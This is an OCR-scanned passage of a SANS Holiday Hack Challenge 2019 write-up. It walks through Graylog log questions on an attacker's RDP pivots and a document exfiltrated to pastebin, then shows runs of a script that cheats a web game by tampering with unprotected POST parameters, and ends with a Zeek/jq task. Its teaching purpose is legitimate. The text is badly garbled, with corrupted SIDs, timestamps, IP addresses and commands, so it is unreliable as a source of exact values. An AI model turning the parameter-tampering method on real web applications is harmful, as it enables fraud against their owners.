ELFU-RES-WKS25

UserAccountsiD
5-1-5-18

WindowsLogType
Security

facility
user-level

level
3

message
elfu-res-wks2 MsWinEventlog 1 Security 347 Tue Mov 19 96:04:28 2019 4624 Microsoft-Windows-Security-Auditing  N/A  N/A  Success Audit  elfu-res.wks2

Logon An account was successfully logged on.  Subject: Security ID: S-1-5-18 Account Name: ELFU-RES-WKS2$ Account Domain: HORTHPOLE Logon ID: Ox3E7  Logon Information: Logon
Type: 16 Restricted Admin Mode: No  Virtual Account: No Elevated Token: Yes  Impersonation Level: Impersonation  Mew Logon: Security ID: S-1-5.21.2526793473-266036237-1969649614-1066
Account Name: alabaster Account Domain: ELFU-RES-WKS2 Logon ID: 6x3A9AL Linked Logon ID: ©x8 Network Account Name: -  Network Account Domain: -  Logon GUID:

{86609066 6098 8009-0000 009600009860} Process Information: Process ID: Ox36c  Process Name: C:\Windows\System32\svchost.exe  Network Information: Workstation Name: ELFU-RES.WKS2 Source
Network Address: 192.168.247.175 Source Port: ©  Detailed Authentication Information: Logon Process: Userd2  Authentication Package: Negotiate Transited Services Package Name (NTLM
only): - Key Length: ©  This event is generated when 3 logon session is created. It is generated on the computer that was accessed.  The subject fields indicate the account on the local system
which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.  The logon type field indicates the kind of logon that
occurred. The most common types are 2 (interactive) and 3 (network).  The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.  The network
fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.  The impersonation level field indicates the extent to which a
precess in the logon session can impersonate.  The authentication information fields provide detailed information about this specific logon request. - Logon GUID is a unique identifier that can be
used to correlate this event with a KDC event. - Transited services indicate which intermediate services have participated in this logon request. Package nane indicates which sub-pratocol was
used among the NTLM protocols. - Key length indicates the length of the generated session key. This will be @ if no session key was requested. 25499

source
elfu-res-wks2

timestamp
2019-11-19706:64: 28,0602
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The answer to Question 7 is: 06:04:28

Question 7:
What is the time (HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

Answer: 06:04:28

LogonType 10 is used for successful network connections using the RDP client.

Question 8:
The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the
SourceHostName,DestinationHostname,LogonType of this connection?

For this question make sure you have checked/enabled the SourceHostName, DestinationHostname and UserAccount fields.
Search on this query to find the event of interest:

LogonType:>1 AND DestinationHostname:elfu-res-wks3

= 679e82f0-1b70-11ea-b211-0242ac120005 Permalink  Copy 1D messages - T -

Timestamp Accountbomain
2019-11-19 06:07:22.000 -

Received by AccountName
Systog TCP on b 83445

ystog 61a0de 30 alabaster

Storedinindex AuthenticationPackage
graylog 0 Wi al-

DestinationHostname
elfu-res-wks3 al-

Eventi
4624 @

Logonprocess
NiLmSsp

LogonType
3

SourceHostName
ELFU-RES -WKS2 Q

SourceNetworkAddress

192.166.247.176 als

serAccount

UserAccountSID.
5-1-0-8 al-

WindowsLogType
Security al~

Facilit
umer-Level a
tevel

6 alx
message

lfu-res-uks3 MSiinEventlog 1 Security 2757 Tue Nov 18 06:67:22 2019 4628 Microsoft.Windows-Security-Auditing WA WA Success Audit  elfu-res-wks3 a
Logon An account was successfully logged on.  Subject:  Security ID: S-1.8-0  Account Name: Account Domain: Logon ID: ©x8  Logon Informstion: Logon Type: 3 Restricted
Adnin Mode: - Virtusl Account: Mo Elevated Token: Yes  Impersomstion Level: Impersonation  New Logon: Security ID: §.1-5-21-2526793473-266036237-1969649614-1606 Account Name: alabaster
Account Dowain: ELFU-RES-WKS3 Logon ID: 0x4498C3 Linked Logon ID: Bx0 Network Account Mame: -  Network Account Domain: - Logon GUID: {0B0G0080-8G60-0060-0080 888830000000}  Pracess
Infornation: Process 1: 0x8 Process Name: -  Network Information: Werkstation Name: ELFU-RES-WKS2 Source Network Address: 192.168.247.176 Source Port: 49764  Detailed Authentication
Infornation: Logon Process: NelmSsp  Authentication Package: NTLN  Transited Services Package Nane (NTLM only): NTLM VL Key Length: 128 This event is generated when a logon session is
created. It is generated on the computer that was accessed.  The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server
service, or a lecal process such as Winlogon.exe or Services.exe.  The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).  The
New Logon fields indicate the account for whom the new logan was created, i.e. the account that was logged on.  The network Tields indicate where a remote logon request originated. Workstation name
15 not always available and may be Left blank in some cases.  The impersanation level field indicates the extent to which a process in the logon session can impersonate.  The authentication
infornation fields provide detailed information about this specific logon request Logon GUID 15 a unigue identifier that can be used to correlate this event with a KDC event. - Transited
services indicate which internediate services have participated In this logon request. - Package name Indicates which sub-protocol was used among the NTLM protocols. - Key length indicates the
Tength of the generated session key. This will be @ if no session key was requested. 25333

source

elfu-res-uks3

timestamp a
2019-11-19706: 67:22, 0002 e

You see in the event above that the SourceHostName is ELFU-RES-WKS2, the DestinationHostname is el fu-res-wks3 and
the LogonType is 3.

The answer to Question 8 is: ELFU-RES-WKS2,elfu-res-wks3,3

Question 8:

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the
SourceHostName,DestinationHostname,LogonType of this connection?

(submit in that order as csv)

Answer: elfu-res-wks2,elfu-res-wks3,3

The attacker has GUI access to workstation 2 via RDR. They likely use this GUI connection to access the file system of of workstation 3 using explorer.exe via UNC file
paths (which is why we don't see any cmd.exe or powershell.exe process creates). However, we still see the successful network authentication for this with event id
4624 and logon type 3.
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'Question 9:
What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

In this case you want to have timestamp sorted in descending order so you see the most recent events first as it will be the
first item in the search when you use this query:

LogonType:>1 AND DestinationHostname:elfu-res-wks3

= 6650a630-1b70-11ea-b211-0242ac120005

Permalink  CopyID  Show surrounding messages - Test against stream =

Timestamp CreationUtcTime

20181118 06:07:51.000 2019-11-15714:07: 50,0007 Al
Received by EventiD
Systog TEP on P B3c465e / 61a0de 1 113cD : Fi
stored in index Processid -
graylog 0 4372 ;
Processimage
C:\Windows\Explorer. EXE LO L
TargetFilename ;
C:\lsershalabaster\Desktop\super_secret_elfu_research.pdf a
WindowsLogType &
Microsoft-Windows: Sysnon/Operational =
facill
s ) L[5
level
6 LU
message o
elfu-res-wks2 MSWinEventlog onjOperational 2312 Tue Now 19 B6:67:56 2019 2 M t-Windows -Sysmon =
Information elfu-res-wks: FileCreateTime) File creation time changed: RuleN: UtcTime: 2019-11-19 1
ProcessGuid: [ABSCECCE-F41 plorer.EXE TargetFilename: C:\Usersialabaster\Desktcp\super secret elfu research.pdf
CreationUtcTime: 2819-11-19 92303
source
elfu- res-wks2 Lt
timestamp -
2619-11-10T06:67: 51. 8887 s

The answer to Question 9 is: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

Question 9:
What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

Answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

We can look for sysmon file creation event id of 2 with a source of workstation 2. We can also use regex to filter out overly common file paths using something like:

|IAND NOT TargetFilename:/.+AppData.+/
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'Question 10:

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

If you search for events after the timestamp of the event from Question 9 you will find the event where exfiltration occurred
to pastebin. The absolute time range you can search on to get this event is the following:

2019-11-1906:14:23

# to 2019-11-19 06:15:00

Search on this time range:

2019-11-19 06:14:23 to 2019-11-19 06:15:00

= 5f9e04e0-1b70-11ea-b211-0242ac120005

Timestamp
20191119 05:14:25.000
Received by

Stored in index
wraylog 0

DestinatisnHasthame

Destinationip
184.22.3.84

DestinationPort
EventiD
Processid

1232

Processimage

+\Windows\ Sy sHOWE4\Windo

Pratacal
tep

SourceHostname
elfu-res-wks2. Localdonair

Sourcelp
192.168.247.177

SourcePort

53564

UserAccount
alabaster

WindowsLogType

Wicrosoft-Windows-Sysnon/Operational

facility
user-level

level
3

message

source
elfu-res-wks?

timestamp
2619-11-19766: 14:25.8002

The answer to Question 10 is: 104.22.3.84

Question 10:

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

104.22.3.84

We can look for the original document in **CommandLine** using regex.

When we do that, we see a long a long PowerShell command using **Invoke-Webrequest** to a remote URL of **https://pastebin.com/post.php**.
We can pivot off of this information to look for a sysmon network connection id of **3** with a source of **elfu-res-wks2** and **DestinationHostname** of **pastebin.com**.

Incident Response Report #7830984301576234

Submitted.

Incident Fully Detected!

You have completed the Graylog

challenge!
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Achievement - Holiday Hack Trail

This challenge is found in the Dorm area and interacting with Minty Candycane will introduce this challenge.

S e | =
liicy ggﬁf;q@inﬁn@ - Hi!' I'm Minty Candycane!
¥ | just LOVE this old game!
I found it on a 5 1/4" floppy in the attic.
» N
el You should give it a go!
- [-_;1 If you get stuck at all, check out this year's talks.
g it One is about web application penetration testing.
4B Good luck, and don't get dysentery!

You can begin the challenge by clicking on the "Holiday Hack Trail" terminal icon or you access it directly via https://trail.elfu.org

“THE HOLIDAY HACK TRAIL

I loved this challenge and had so much fun! Reminded me of many fun hours as a kid playing The Oregon Trail on an Apple ][.

| wrote a Python script that can play the Holiday Hack Trail game in an automated way by interacting directly with
https://trail.elfu.org. The program logic will attempt to make the best choice (favors life, over destination) for each day of travel.
There are several command line parameters, some of which allow you to take advantage of vulnerabilities in the game which | added
as cheat codes you can activate when running the script. | used argparse, so the standard "--he1p" option will display all options
available. The full source is in the Appendix section of this report or at https://github.com/deckerXL/SANSHolidayHackChallenge2019

Excellent help is available in one of the KringleCon 2019 talks called "Web Apps: A Trailhead" given by Chris Elgee in Track 4 in
Hermey Hall or can be viewed directly at this link: https://www.youtube.com/watch?v=0T6-DQtzCgM

Taking a look at the game, the initial gameselect page gives you an introduction to the game, how much money you get with each
difficulty level and your starting day. You must reach KringleCon before December 25th. Then you select your difficultly level by
pressing the "EASY", "MEDIUM" or "HARD" button to continue:

"YHE HOLIDAY HACK TRAIL

WELCOME TO THE TRAIL.” IT'S NEARLY TIME FOR
KRINGLECON. ¥OU NEED TO GET THERE EBEFORE THE
23TH DAY OF DECEWMBER.” HITCH UP YOUR REINDEER:
GATHER ¥OUR SUPPLIESs: AND DO YOUR BEST TO HWAKE

IT TDO THE NORTH POLE ON TIHE.
G000 LUCK.”

SELECT DIFFICULTY

EASY: START WITH 3000 MONEY ON 1 JULY

MEDIUM: START WITH 3000 MONEY ON 1 AUGUST

HARD: START WITH 1300 MONEY ON 1 SEPTEHMBER
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The next screen is the store screen, where you can buy extra supplies within the money you have allotted. The more reindeer, the
faster you can move. You must have at least 2 runners or you can't make forward progress and it is possible to break a runner during
the journey. The game can also give extra or make you lose any of these resources either due to conditions or random chance. Enter
any amounts to buy for desired extra items and click "BUY" to continue.

PURCHASE SUPPLIES

MONEY AVAILABLE|COST OF ITEMS MONEY REMAINING

[COST OF ITEMS

THE WORE REINDEER Y0OU HAVE: THE FASTER ¥0OU CAN
GET TO THE NORTH POLE. SPARE RUNNERS CaAN BE
AS ¥YOUR SLEIGH CAN’T MOVE IF ¥0OU DON'T
HAVE TWO WORKING ONES. ¥YOU'LL NEED FOOD EVERY
MEDS WHENEWER SOMEONE IS GETTING WEAK.
AMMOD CAN BE HANDY WHEN ¥OU RUN LOW ON FOOD.

The next screen is the main trail screen which you will see continually each day until your journey ends. It provides you: distance
remaining, the current date, difficulty, pace, your party status and your inventory. You also get status messages at the bottom letting
you know of events of interest. The graphic in the top center may also change based on what you encounter on your journey. Each
day you can choose one of four actions: "MEDS", "HUNT", "TRADE" or "GO".

"MEDS" - If you have meds available, it will heal your least healthy party member by some number of health points.
"HUNT" - If you have ammo available, will attempt to hunt for food. This may or may not be fruitful, but usually is.
"TRADE" - This brings up a separate trading window. More on this later.

"GO" - Continue for one day

DISTANCE
REMAX 1]

PARTY STATUS

INVENTORY

eI e RUNNERS M
—fhmo | weps | roe
10 ] [ 200 |

READY TO BEGIN? CLICK WMEDS TO RAILSE THE
HEALTH OF AN INJURED PART WEWBER.

PRESS HUNT TO SPEND A DAY HUNTING FOR FOOD.

PRESS TRADE IF YOU WANT TO LOOK FOR SOWMEONE
TO TRADE WITH YOU.

AND PRESS G0 IF YOU'RE READY TO MOVE ALONG
THE TRAIL."
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Below is the trade screen where you can radio-button select what you need from the trade: "REINDEER", "RUNNERS", "AMMOQ",
"MEDS" or "FOOD". If you have zero reindeer (they can wander off and vanish) or less than two runners (they can break), you will
need to trade because you can't make any forward progress without at least 1 reindeer and 2 runners.

Once you select what you want to get from the trade (I chose "AMMOQ", for example), you click the "TRADE" button again on this
screen.

DISTANCE

WHAT DO ¥OU WANT TO GET FROM A TRADE?
SELECT ONE AND CLICK TRADE AGAIN.

®REINDEER ®RUNNERS OAWMMO OKWEDS OFOOD

PARTY STATUS
JevENTORY
REx.ocER

Then you will be presented the same screen again, but now with a status message at the bottom letting you know if you found
someone to trade with or not and what they want in return. In this case, you found someone and they will provide you 11 AMMO if
you give them 1 MEDS. You should note that they may ask for something that you don't even have, in which case your only option is
to click "TRADE" again and start the trade process over (and lose another day) or use one of the other options, like "GO".

If the trade is acceptable to you, click "TRADE" on this screen.

DISTAHEE
NEHHIH[HE
Eucmsen —

IF ¥0OU ACCEPT THE TRADE:; CLICK TRADE. ANYTHING
ELSE WILL CANCEL

PARTY STATUS
BT

¥OU SPEND A DAY ASKING ARODUND LBDKIHE FOR
SOMEONE WITH EXTRA AMM

YOU’VE BEEN OFFERED 11 AWMMOCS® IN EXCHANGE
FOR 1 HMEDSILS).

The final trade screen will look just like the one above and will tell you in the status area that the trade was completed and you
received what you wanted and lost what you were willing to trade for. Then you can choose one of the four options to continue your
journey: "MEDS", "HUNT", "TRADE" or "GO"

The only other screen that's a bit different is at around the 2300 Distance Remaining mark, you reach a river and you have three

options to cross the river: "FORD", "FERRY" or "CAULK". Ferry is the safest option, but you need 100 money to do it. Otherwise you
take your chances with Ford or Caulk and sometimes you cross just fine with no issues and other times you lose items.
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[ 2320 |17 [NOVEMBER

RTY STATUS
HEALTH_ INVENTORY
[CHRIS | 12 | HEALTHY |REITNDEER/RUNNERS MONEY|

Zoshual 16 | HEALTHY | "o |
BILLy| zo |NO HOLIpAY
CHEER ' |— ¢ | 13 | 0 |

[ 13 [ HEALTHY

THE REINDEER ARE ABLE TO PULL YOUR SLEIGH
FORWARD A DISTANCE OF 901 TODAY.

¥OU HAVE NO FOOD. ¥YOUR PARTY IS STARVING.
¥O0U HAVE ARRIVED AT THE ZHIGANSK RIVER.”
¥OU CAN ATTEWMPT TO FORD THE VERY DEEP BODY OF

WATER: HIRE A FERRY FOR 100 MONEY: OR ATTEMPT
TO CAULK AND FLOAT YOUR SLEIGH ACROSS.

The journey continues until you reach either the doom page or victory page. You get to the doom page if either: all four of your party
members have died or you ran out of time because you didn't reach KringleCon before December 25,

'THE HOLIDAY HACK TRAIL "PHE HOLIDAY HACK TRAIL

¥OUR PARTY HAS FAILED BECAUSE EVERYONE'S DEAD.
¥OUR PARTY HAS FAILED BECAUSE ¥0OU RAN OUT OF

EVIE DIED OF STARVATION ON O OCTOBER TIME.
JOSEPH DIED OF STARVATION ON 19 OCTOBER ED

JEN DIED OF STARVATION ON 8 OCTOEER
VLAD DIED OF STARVATION ON S5 OCTOBER

TED
ING TO FORGIVE YOU
START OVER? START OVER?

You get the victory page if at least 1 party member makes it alive to KringleCon before December 25™. The logic in my program is life-
preserving, so either they all make it alive before December 25 or they stop short somewhere but at least they're all alive!

“PHE HOLIDAY HACK TRAIL

¥YOUR PARTY HAS SUCCEEDED.”

PARTY MEMBERS POINTS

DAY¥S
HARD

1DAF18D3212B3E

PLAY AGAIN7?
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Something interesting! The victory pages show a secret message in the html comments at the bottom of the page source:

Victory Page Secret Message - EASY difficulty

(1]

<pr<a href='/'>Play again?<,
I'm sot our princess 1is in another North Pole.--></div>

]

[ mprr b
orry, but

L

I'm sorry, but our princess is in another North Pole.

Victory Page Secret Message - MEDIUM difficulty

f1">Play again?<

= T — -
L a greac Jo

v
E
s

aF T Fhimk o - ~J i~ - mmT D -
But think you can do even BETTER.--:

Wow! What a great job! ... But I think you can do even BETTER.

Victory Page Secret Message - HARD difficulty

From Kent Tinseltooth:
"And | hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard."

o Ly b

- o

my scalp! --></divs

Reminds me of the transition to the paperless naughty/nice list...

Like a present stuck in the chimney! It got sent...

We keep that next to the cookie jar

My title is toy maker the combination is 12345

Are we making hologram elf trading cards this year?

If we are, we should have a few fonts to choose from

The parents of spoiled kids go on the naughty list...

- Some toys have to be forced active

0 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!

HooJdouodswdhEk
1

(This is the hint for Objective 11 Kent Tinseltooth told us about. One hint for each of the 10 locks. F12 developer tools and viewing the Console tab...
the hologram challenge... lock10 forced active, etc...)

Here below are the options available with the program | wrote that automates playing the game. When you play on EASY or
MEDIUM, the hash parameter isn't calculated making it possible to alter many POST parameters without the server kicking back "You
have fallen off the trail." In HARD mode, the hash parameter is calculated to protect several POST parameters including: money,
distance, ammo, meds, reindeer, runners and food. However, in HARD mode health0-3 is not factored into the hash - invulnerability!!

Unlimited ALL - o
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Here is a sample run in HARD difficulty without any cheat codes:

# python3 hht.py --playerid=lebediahspringfield --difficulty=hard --pace=2 --extrareindeer=e --extrarunners=0 --extrafood=0 --
lextrameds=30 --extraammo=0 --proxy --proxy host=127.0.8.1 --proxy _port=8080

GAME OPTIONS: Difficulty:[Hard] - Pace:[Grueling] - ExtraReindeer:[®] - ExtraRunners:[0] - ExtraFood:[@] - Extrameds:[30] - Extaammo:[0]
P11l CHEAT CODES ACTIVE: [none]

GO] [Hard] [GRUELING] [Dist/Left:0000/8600] [Date:09/01] [Money:0600] [Reindr:62] [Runrs:e2] [Ammo:©1@] [Meds:832] [Food:108] [Heath:106/100/106/1080]
[Ready to begin? Click MEDS to raise the health of an injured part member.|Press HUNT to spend a day hunting for food.|Pr TRADE if you want to look for someone to trade with you.|And pr
GO if you're ready to move along the Trail!]

GO] [Hard] [GRUELING] [Dist/Left:0060/7940] [Date:09/02] [Money:0000] [Reindr:62] [Runrs:82] [Ammo:@1@] [Meds:832] [Food:084] [Heath:100/100/108/100]
[The reindeer are able to pull your sleigh forward a distance of 6@ today.]

[ GO] [Hard] [GRUELING] [Dist/Left:0140/7866] [Date:09/03] [Money:0000] [Reindr:82] [Runrs:02] [Ammo:01@] [Meds:832] [Food: [Heath:106/100/108/100]
[The reindeer are able to pull your sleigh forward a distance of 86 today.]

[ GO] [Hard] [GRUELING] [Dist/Left:8230/7776] [Date:09/04] [Money:0000] [Reindr:82] [Runrs:02] [Ammo:018] [Meds:832] [Food: [Heath:108/1006/168/100]
[The reindeer are able to pull your sleigh forward a distance of 90 today.]

GO] [Hard] [GRUELING] [Dist/Left:8293/7707] [Date:09/05] [Money:0000] [Reindr:82] [Runrs:02] [Ammo:018] [Meds:832] [Food: [Heath:106/100/100/180]
[The reindeer are able to pull your sleigh forward a distance of 63 today.]

[ GO] [Hard] [GRUELING] [Dist/Left:©378/7622] [Date:09/06] [Money:0000] [Reindr:82] [Runrs:02] [Ammo:018] [Meds:832] [Food: [Heath:168/106/108/100]
[The reindeer are able to pull your sleigh forward a distance of 85 today.]

[ HUNT] [Hard] [GRUELING] [Dist/Left:0467,/7533] [Date:89/07] [Money:0000] [Reindr:82] [Runrs:02] [Ammo:@18] [Meds:832] [Food: [Heath:168,/106/108/160]
[The reindeer are able to pull your sleigh forward a distance of 89 today.]

G0] [Hard] [GRUELING] [Dist/Left:7561/0439] [Date:12/09] [Money:0000] [Reindr:03] [Runrs:03] [Anmo:@0@] [Meds:@02] [Food:00@] [Heath:097/015/038/035]
[Lila was healed by 24 points!]

-1 MEDS] [Hard] [GRUELING] [Dist/Left:7662/6338] [Date:12/16] [Money:08068] [Reindr:063] [Runrs:03] [Anmo:680] [Meds:002] [Food:880] [Heath:096/614/037/630]
[The reindeer are able to pull your sleigh forward a distance of 101 today.|You have no food. Your party is starving.]

- GO] [Hard] [GRUELING] [Dist/Left:7662/0338] [Date:12/16] [Money:0800] [Reindr:63] [Runrs:03] [Ammo:008] [Meds:001] [Food:806] [Heath:096/048/037/630]
[Herbert was healed by 34 points!]

-1 GO] [Hard] [GRUELING] [Dist/Left:7729/0271] [Date:12/11] [Money:00@@] [Reindr:03] [Runrs:03] [Ammo:00@] [Meds:0@1] [Food:620] [Heath:088/046/032/626]
[The reindeer are able to pull your sleigh forward a distance of 67 today.|You have no food. Your party is starving.|You found 20 morsels of Christmas cookies lying around! #whatcouldgowrong]

-0 G0] [Hard] [GRUELING] [Dist/Left:7828/6180] [Date:12/12] [Money:08608] [Reindr:063] [Runrs:03] [Anmo:660] [Meds:001] [Food:884] [Heath:088/100/033/627]
[The reindeer are able to pull your sleigh forward a distance of 91 today.|Joy! Herbert was filled with holiday cheer!]

[ GO] [Hard] [GRUELING] [D /Left:7881/0119] [Date:12/13] [Money:000@] [Reindr:@3] [Runrs:@3] [Ammo:0€0] [Meds:001] [Food:00@] [Heath:085/100/029/622]
[The reindeer are able to pull your sleigh forward a distance of 61 today.|You have no food. Your party is starving.]

-1 G0] [Hard] [GRUELING] [D eft:7993/6007] [Date:12/14] [Money:0868] [Reindr:03] [Runrs:63] [Anmo:680] [Meds:081] [Food:080] [Heath:082/696/025/017]
[The reindeer are able to pull your sleigh forward a distance of 112 today.|You have no food. Your party is starving.]

111 VICTORY !!!: [Your party has succeeded! POST_RESULTS__({ hash:"f3e41a22416c2397460403fa82d40307T4379da95d41d5e366b55a1e775c5d41", resourceld: "Jebediahspringfield"});|sam is joyful!|Herbert is ec
static!|Joseph is ready to jingle bell rock!Lila is happier than an elf in a toy shop!|Date completed:|15 December|Reindeer remaining:|3|Money remaining:|8|Scoring: |4 iving party members X|1060 =
4000 points|3 reindeer X|400 =|1200 points|@ money left X|1 =|@ peints|Journey completed on|15 December: |16 days before Christmas X|50 =|560 points|Total score: (|4000 +|1200 +|@ +|56@) X|8 Hard multip
lier =|456001 |Verification hash:|elc969bbdf37a4a62e62d15227b8bb25 |Play again?|<!-- 1 - When I'm down, my F12 key consoles me2 - Reminds me of the transition to the paperless naughty/nice list...3 - Lik
e a present stuck in the chimney! It got sent...4 - We keep that next to the cookie jar5 - My title is toy maker the combination is 123456 - Are we making hologram elf trading cards this year?7 - If we
are, we should have a few fonts to choose froms - The parents of spoiled kids go on the naughty list...9 - Some toys have to be forced activel® - Sometimes when I'm working, I slide my hat to the left
and move odd things onto my scalp! -->]

Here is a sample run in MEDIUM difficulty with the "lightspeed" and "maxall" cheat codes:

# python3 hht.py --playerid=Jebediahspringfield --difficulty=medium --pace=2 --extrareindeer=1 --extrarunners=1 --extrafood=5 --extramed
Xxtraammo=5 --proxy --proxy host=127.0.0.1 --proxy port=8ese --lightspeed --maxall

GAME OPTIONS: Difficulty:[Medium] - Pace:[Grueling] - ExtraReindeer:[1] - ExtraRunners:[1] - ExtraFood:[5] - Extrameds:[2] - Extaammo:[5]
1111 CHEAT CODES ACTIVE: [lightspeed maxammo maxmeds maxfood maxreindeer maxrunners maxmoney]

GO] [Medium] [GRUELING] [Dist/Left:0738/7262] [Date:08/01] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [ 99] [Food:9999] [Heath:108/100,/109/100]
[Ready to begin? Click MEDS to raise the health of an injured part member.|Press HUNT to spend a day hunting for food.|Press TRADE if you want to look for someone to trade with you.|And press GO if you're rea
dy to move along the Traill]

-0 GO] [Medium] [GRUELING] [Dist/Left:1833/6167] [Date:08/62] [Money:9999] [Reindr:99] [Runr 9] [Ammo:999] [M 99] [Food:9999] [Heath:100/106/108/160]
[The reindeer are able to pull your sleigh forward a distance of 95 today.]

-0 GO] [Medium] [GRUELING] [ /Left:2561/5439] [Date:08/03] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] :999] [Food:9999] [Heath:100/106/108/160]
[The reindeer are able to pull your sleigh forward a distance of 126 today.]

-0 GO] [Medium] [GRUELING] [Dist/Left:3477/4523] [Date:08/04] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:106/160/100/160]
[The reindeer are able to pull your sleigh forward a distance of 164 today.|Oh no! Chris was struck with Low Blood Sugar]

-0 GO] [Medium] [GRUELING] [Dist/Left:4374/3626] [Date:08/05] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:099/100/100/100]
[The reindeer are able to pull your sleigh forward a distance of 86 today.]

-1 GO] [Medium] [GRUELING] [Dist/Left:5115/2885] [Date:08/06] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:098/100/100/100]
[The reindeer are able to pull your sleigh forward a distance of 103 today.|Chris suddenly feels better!]

-0 GO] [Medium] [GRUELING] [Dist/Left:6017/1983] [Date:08/07] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:899/106/106/160]
[The reindeer are able to pull your sleigh forward a distance of 162 today.]

[ GO] [Medium] [GRUELING] [D: /Left:6871/1129] [Date:08/68] [Money:9999] [Reindr:99] [Runr 9] [Ammo:999] [Meds:999] [Food:9999] [Heath:106/166/160/160]
[The reindeer are able to pull your sleigh forward a distance of 86 today.|Oh no! Lila was struck with Low Blood Sugar]

-0 GO] [Medium] [GRUELING] [Dist/Left:7680/6320] [Date:08/09] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/106/106/099]
[The reindeer are able to pull your sleigh forward a distance of 80 today.]

[ GO] [Medium] [GRUELING] [Dist/Left:B8840/-848] [Date:08/10] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:1008/106/100/097]
[The reindeer are able to pull your sleigh forward a distance of 1L today.|A strong, Christmas wind pushed your sleigh ahead an extra 176!]

111 VICTORY !11: [Your party has succeeded!|_POST_RESULTS _({ hash:"f3e41a22416c2397460463fa82d40307F4379da95d41d5e366b55a1e775c5041", resourceld: “Jebediahspringfield"});|Chris is ready to jingle bell rock!|Michael
is having the best Christmas ever!|Joseph is wicked psyched!|Lila is wicked psyched!|Date completed:|11 August|Reindeer remaining:|99|Money remaining:|9999|Scoring:|4 surviving party members X|1880 =|4606 points|99 re
indeer X|400 =|39600 points|9999 money left X|1 =|9999 points|Journey completed on|11 August:|136 days before Christmas X|50 =|6806 points|Total score: (]4000 +|39600 +]9999 +|6800) X|4 Medium multiplier =|241596!|Ver
ification hash:|63¢16140f2d818d90fd21d8dc264a7|Play again?|<!--Wow! What a great job! ... But I think you can do even BETTER.-->]
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"YHE HOLIDAY HACK TRAIL

YOUR PARTY HAS SUCCEEDED.”

POINTS

DAYS
HARD

NOr=TCIOWm
D==DODOMS
MR ZZE=1

J0O
BE
TO
MU
YE
7B

You have completed the Holiday Hack
Trail challenge!

Congratulations! You have
made it to Oregon! Let’s see
hod many points you have
received.

The Hllianette Valley, Oregon
NMovenmber 18, 1848

Press SPACE BAR to continue

:-) This brought back some happy memories :-)
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Achievement - Teleportation via Steam Tunnels

This challenge is found in the Steam Tunnels and interacting with Krampus Hollyfeld after you complete Objective 8 - Frido Sleigh
CAPTEHA, will grant this capability.

To help you, | have flashed the firmware in
your badge to unlock a useful new feature:
magical teleportation through the steam
tunnels.

Krampus

This new capability allows you to fast travel to the major areas of EIfU. The fast travel map is shown here below and you can click on
the map boxes to transport you to that location.

KringleCon

Student Union

MNarrative [10 of 10]
Objectives

Hints

Talks

Achievements

Steam Tunnels

[Exit]

Train Station

As you were exploring, did you ever wonder if those vents had a purpose? Yes, they do! These vents are where you appear from
when you teleport through the Steam Tunnels to these locations.

Steam Tunnel Vent - Train Station:
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Steam Tunnel Vent - Quad:

Shudent ynin

Steam Tunnel Vent - Student Union:

Steam Tunnel Vent - Hermey Hall:
e
Cpeaker
UMpreparedness
Eoom
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Steam Tunnel Vent - Dorm:

Steam Tunnel Vent - Krampus' Lair:

Whee! ¥You can now use the steam
tunnels to move quickly around E1f U!

Page 48 of 184



Achievement - Zeek JSON Analysis

This challenge is found in the Sleigh Shop room and interacting with Wunorse Openslae will introduce this challenge.

Wimerse Opemsne Wunorse Openslae here, just looking at some Zeek logs.

I'm pretty sure one of these connections is a malicious C2 channel...
Do you think you could take a look?

I hear a lot of C2 channels have very long connection times.

Please use jq to find the longest connection in this data set.

We have to kick out any and all grinchy activity!

You can begin the challenge by clicking on the "Zeek JSON Analysis" terminal icon.

This excellent post was very helpful here: https://pen-testing.sans.org/blog/2019/12/03/parsing-zeek-json-logs-with-jg-2
Using jg magic, then sort and tail you get the answer:

nation IP adc i on duration
eek logfile. Run ru answer.

:~5 1s -al

elf
oot
elf
elf
elf
elf
elf

$ cat conn.l uration, ", ", .["id.resp h"],"

An"' | sort -n

longes connection duratien? 13.10

y dawn.

cloud-amdé4 41 SMP Debian 4.1 15-11-11)

cajflieenn . 1og | giq -] G IEGeks Ol ", ", .["id.resp_h"],"\n"' | sort -n | tail -1
runtoanswer
L3 ROWF=D 1 . 200

You have completed the Zeek JSON

Bnalysis challenge!
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Objective Challenges

Objective 0 — Talk to Santa in the Quad

From the Train Station, go north into the Quad and find Santa holding an umbrella. Clicking on Santa will cycle through all the dialog
which can also be seen in the chat list history. Do this completes Objective 0, unlocks Objective 1-5 in your badge and Narrative 2.
See Characters section for all character dialog.

€ 0) Talk to Santa in the Quad

Enter the campus quad and talk to Santa.

Objective 1 — Find the Turtle Doves

After speaking with Santa (umbrella) in the Quad, head north through the Quad and enter the Student Union building. To the left of
the fireplace you will find the two turtle doves, Michael and Jane. Click on them to acknowledge finding them.

& 1) Find the Turtle Doves

Find the missing turtle doves.

Thank yvou for finding our two turtle
dowves!
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Objective 2 — Unredact Threatening Document

